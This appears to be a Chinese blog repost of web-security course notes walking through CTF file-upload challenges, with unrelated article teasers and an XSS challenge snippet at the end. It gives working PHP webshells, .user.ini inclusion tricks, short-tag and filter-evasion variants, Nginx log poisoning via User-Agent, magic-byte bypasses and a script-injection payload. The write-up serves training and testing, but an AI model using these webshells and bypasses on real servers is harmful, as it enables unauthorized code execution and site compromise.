小迪安全31WEB 攻防-通用漏洞文件上传js 验证mimeuser.ini语言特性

#知识点:

1、文件上传-前端验证

2、文件上传-黑白名单

3、文件上传-user.ini 妙用

4、文件上传-PHP 语言特性

#详细点:

  1. 检测层面:前端,后端等

2、检测内容:文件头,完整性,二次渲染等

3、检测后缀:黑名单,白名单,MIME 检测(文件类型后缀)等

4、绕过技巧:多后缀解析(PHP5),截断,中间件特性,条件竞争等

#本章课程内容:

1、文件上传-CTF 赛题知识点 

2、文件上传-中间件解析&编辑器安全

3、文件上传-实例 CMS 文件上传安全分析

#前置:

后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)

如:jpg 图片里面有 php 后门代码,不能被触发,所以连接不上后门

文件上传-CTF 赛题知识点

151 152-JS 验证+MIME

Content-Type: image/png

通过源代码查看,得知此验证为前端验证

通过前端更改对应参数,发现成功上传.gif

因此以JS验证为注入点,修改白名单为.php传入后门

<?php eval($_POST[x]);?>

用工具或者利用POST传递参数(system(‘’)),对其进行获取flag

152.

MIME验证:会根据文件的后缀,去判断文件的类型从而进行验证——后端代码

将其C-T参数更改,上传成功

153-JS 验证+user.ini

参考:https://www.cnblogs.com/NineOne/p/14033391.html

.user.ini                          auto_prepend_file=test.png

test.png<?php eval($_POST[x]);?>

与.htaccess绕过类型,只不过.user.ini适用于php语言,而.htaccess绕过适应于Apache

思路:

首先.user.ini 是一个自定义的php.ini配置文件,一般在任何一个与php相关的网页都会存在此配置,是一个能被动态加载的ini文件,通过在主目录中创建.user.ini 文件,并在其中定义特定的 PHP 配置选项,用户可以对其网站或应用程序的 PHP 环境进行个性化设置auto_prepend_file=test.png 相当将一个文件包含,这里我们就可以放payload进去,将图片马传上去,再访问index.php,注意是上传目录下的index.php,执行任意命令即可

解释“前置”:可以利用漏洞或错误配置来绕过文件格式限制。这可能会使得一些解析器错误地将图片文件识别为脚本文件,从而导致恶意代码的执行。

再加入后台文件

154 155-JS 验证+user.ini+短标签

当在图片中输入后门,发现不行时,那可推断此时为内容检测

得知它将<?php进行限制:

1.<? echo '123';?> //前提是开启配置参数 short_open_tags=on

2.<?=(表达式)?> //不需要开启参数设置

3.<% echo '123';%> //前提是开启配置参数 asp_tags=on

4.<script language=”php”>echo '1'; </script> //不需要修改参数开关

155.

.user.iniauto_prepend_file=test.png

test.png<?=eval($_POST[x]);?>

与上两题结合即可,利用.user.ini,去触发1.png,1.png中还需内容过滤

156 JS 验证+user.ini+短标签+过滤 :同理

.user.iniauto_prepend_file=test.png

test.png<?=eval($_POST{x});?>

157 158 159 JS 验证+user.ini+短标签+过滤

使用反引号运算符的效果与函数 shell_exec()相同

.user.iniauto_prepend_file=test.png

发现它的过滤是将分号和php过滤

test.png<?=system('tac ../fl*')?>

test.png<?='tac ../fl*'?> ——反引号

test.png<? echo `tac /var/www/html/f*`?>

160 JS 验证+user.ini+短标签+过滤

包含默认日志,日志记录 UA 头,UA 头写后门代码

日志文件:记录访问的地址和访问的信息和访问的UA头,我们将UA头改为payload,UA头流入日志文件中,再利用/user.ini去包含日志文件,去触发UA头中的payload

日志文件是根据中间件去决定:此时分析数据包得知是Nginx

.user.iniauto_prepend_file=test.png

test.png<?=include"/var/lo"."g/nginx/access.lo"."g"?>

做了.user.ini文件配置之后,访问upload的情况——包含了日志文件,故显示出日志文件的内容

此时我们只要对其网页进行访问,日志文件就会记录我们的访问信息

通过抓包对参数进行修改得知,上传成功

161 JS 验证+user.ini+短标签+过滤+文件头

文件头部检测是否为图片格式文件

.user.iniGIF89A auto_prepend_file=test.png

test.pngGIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>——做了过滤处理

前端验证文件内容头部信息

.jpg的文件头

.gif的文件头部

.png的文件头部

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/429236.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【使用imgaug库调整图像大小并修改对应的XML标签框】

使用imgaug库可以方便地进行图像增强操作&#xff0c;包括调整图像大小。以下是使用imgaug库调整图像大小并修改对应的XML标签框的示例脚本&#xff1a; 注意修改输入文件夹路径、输出文件夹路径和目标尺寸为自己内容。 input_folder "path/to/your/input_folder" …

[LeetBook]【学习日记】数组内乘积

题目 按规则计算统计结果 为了深入了解这些生物群体的生态特征&#xff0c;你们进行了大量的实地观察和数据采集。数组 arrayA 记录了各个生物群体数量数据&#xff0c;其中 arrayA[i] 表示第 i 个生物群体的数量。请返回一个数组 arrayB&#xff0c;该数组为基于数组 arrayA …

PaddleOCR基于PPOCRv4的垂类场景模型微调——手写文字识别

PaddleOCR手写文字识别 一. 项目背景二. 环境配置三. 数据构造四. 模型微调五. 串联推理六. 注意事项七. 参考文献 光学字符识别&#xff08;Optical Character Recognition, OCR&#xff09;&#xff0c;ORC是指对包含文本资料的图像文件进行分析识别处理&#xff0c;获取文字…

Linux x86_64 平台下系统调用的实现

文章目录 前言一、简介二、Defining a syscall with SYSCALL_DEFINEn()2.1 SYSCALL_METADATA2.2 __SYSCALL_DEFINEx 三、Syscall table entries四、x86_64 syscall invocation参考资料 前言 本文来自 https://lwn.net/Articles/604287/ 一、简介 系统调用&#xff08;system…

Unity 角色控制(初版)

角色控制器组件&#xff0c;当然是将组件放在角色上了。 using System.Collections; using System.Collections.Generic; using UnityEngine;public class c1 : MonoBehaviour {// 获取角色控制器private CharacterController player;void Start(){// 加载角色控制器player …

【物联网】stm32芯片结构组成,固件库、启动过程、时钟系统、GPIO、NVIC、DMA、UART以及看门狗电路的全面详解

一、stm32的介绍 1、概述 stm32: ST&#xff1a;指意法半导体 M&#xff1a;指定微处理器 32&#xff1a;表示计算机处理器位数 与ARM关系:采用ARM推出cortex-A&#xff0c;R,M三系中的M系列&#xff0c;其架构主要基于ARMv7-M实现 ARM分成三个系列&#xff1a; Cortex-A&…

机器人工具箱学习(二)

一、机械臂及运动学 1.1 机械臂构成 机械臂多采用关节式机械结构&#xff0c;一般具有6个自由度&#xff0c;其中3个用来确定末端执行器的位置&#xff0c;另外3个则用来确定末端执行装置的方向(姿态)。   如图所示&#xff0c;一个机械臂是由一组可做相对运动的关节连接的连…

Spring中Bean的作用域、实例化方式、生命周期、循环依赖问题

Spring中Bean的作用域、实例化方式、生命周期、循环依赖问题 一、Bean的作用域1.singleton2.prototype3.其他scope值 二、Bean的实例化方式1.通过构造方法实例化2.通过简单工厂模式实例化3.通过factory-bean实例化4.通过FactoryBean接口实例化5.BeanFactory和FactoryBean的区别…

http【详解】状态码,方法,接口设计 —— RestfuI API,头部 —— headers,缓存

http 状态码 1xx 服务器收到请求 2xx 请求成功 200 成功 3xx 重定向&#xff08;目标服务器返回另一个服务器的地址&#xff0c;浏览器会自动去访问另一个服务器&#xff09; 常见应用场景&#xff1a;搜索引擎&#xff0c;短网址 301 永久重定向 &#xff08;常用于已停服的…

05-prometheus的联邦模式-分布式监控

一、联邦模式概述 1&#xff0c;架构介绍 由于&#xff0c;在大型企业中&#xff0c;被监控项目比较多&#xff0c;多到一台prometheus服务无法承载其大量的监控数据的传输&#xff0c;所以&#xff0c;联邦模式应运而生&#xff0c;它同等于zabbix监控的分布式&#xff0c;就…

Web前端---表格和表单

1.表格概述 表格标记&#xff1a;<table></table> 表格标题标记&#xff1a;<caption></caption> 表头&#xff1a;<th></th>------heading 行标记&#xff1a;<tr></tr>-----r是row 列标记&#xff1a;<td></t…

2024年计算语言学与自然语言处理国际会议(CLNLP 2024) | Ei、Scopus双检索

会议简介 Brief Introduction 2024年计算语言学与自然语言处理国际会议(CLNLP 2024) 会议时间&#xff1a;2024年7月19日-21日 召开地点&#xff1a;中国银川 大会官网&#xff1a;www.clnlp.org CLNLP 2024将围绕“计算语言学与自然语言处理”的最新研究领域而展开&#xff0c…

用FPGA CORDIC IP核实现信号的相位检测,计算相位角

用FPGA CORDIC IP核实现信号的相位检测 1.matlab仿真 波形仿真代码&#xff1a; 代码功能&#xff1a;生成一个点频信号s&#xff0c;求出s的实部和虚部&#xff1b;并且结算相位角atan2。画出图形&#xff0c;并且将Q和I数据写入文件中。 %代码功能&#xff1a;生成一个点…

Linux 之一:Linux 简介、客户端、安装

Linux简介 Linux 内核最初只是由芬兰人林纳斯托瓦兹&#xff08;Linus Torvalds&#xff09;在赫尔辛基大学上学时出于个人爱好而编写的。 Linux&#xff0c;全称GNU/Linux&#xff0c;是一种免费使用和自由传播的类UNIX操作系统&#xff0c;其内核由林纳斯本纳第克特托瓦兹于…

Java 反射详解:动态创建实例、调用方法和访问字段

“一般情况下&#xff0c;我们在使用某个类之前已经确定它到底是个什么类了&#xff0c;拿到手就直接可以使用 new 关键字来调用构造方法进行初始化&#xff0c;之后使用这个类的对象来进行操作。” Writer writer new Writer(); writer.setName("少年");像上面这个…

HTTP常用状态码详解

目录 1xx - 信息性状态码 2xx - 成功状态码 3xx - 重定向状态码 4xx - 客户端错误状态码 5xx - 服务器错误状态码 总结 HTTP&#xff08;Hypertext Transfer Protocol&#xff09;是一种用于传输超文本的应用层协议。在HTTP通信中&#xff0c;服务器和客户端之间会通过状态…

使用华为云云函数functiongraph

之前使用腾讯云serverless&#xff0c;但是突然开始收费了。所以改用functiongraph 首先登陆华为云。 目录 1.登录华为云 2.在控制台找到functiongraph并开通 3.添加依赖包&#xff1a; 3.1 制作依赖包 3.2引入依赖包 4.发送请求 4.1直接发送 4.1.1uri 4.1.2 请求头…

使用word写论文或项目书时,插入图片显示不完整或随文字移动解决办法

一、背景 虽然我们写科技论文时可以用Latex进行排版&#xff0c;但在写项目书或硕士论文时&#xff0c;一般给的模板都是word类型&#xff0c;所以我们还是不能放弃word的使用。但在word中插入图片时&#xff0c;会出现图片显示不完整情况&#xff0c;如下图所示&#xff0c;具…

单调队列(347. 前 K 个高频元素239. 滑动窗口最大值)

单调队列和单调栈其实差不多,就是维护一个区间单调的队列或者是栈,单调队列就是我们所说的大顶堆小顶堆, //升序队列 小顶堆 great 小到大 priority_queue <int,vector<int>,greater<int> > pri_que; //降序队列 大顶堆 less 大到小 默认 priority_qu…

xss.haozi.me:0x01

<textarea></textarea> 标签是不可以写入javascript代码的 所以我们要把textarea标签给闭合掉 这样就成功了 </textarea><script>alert(1)</script>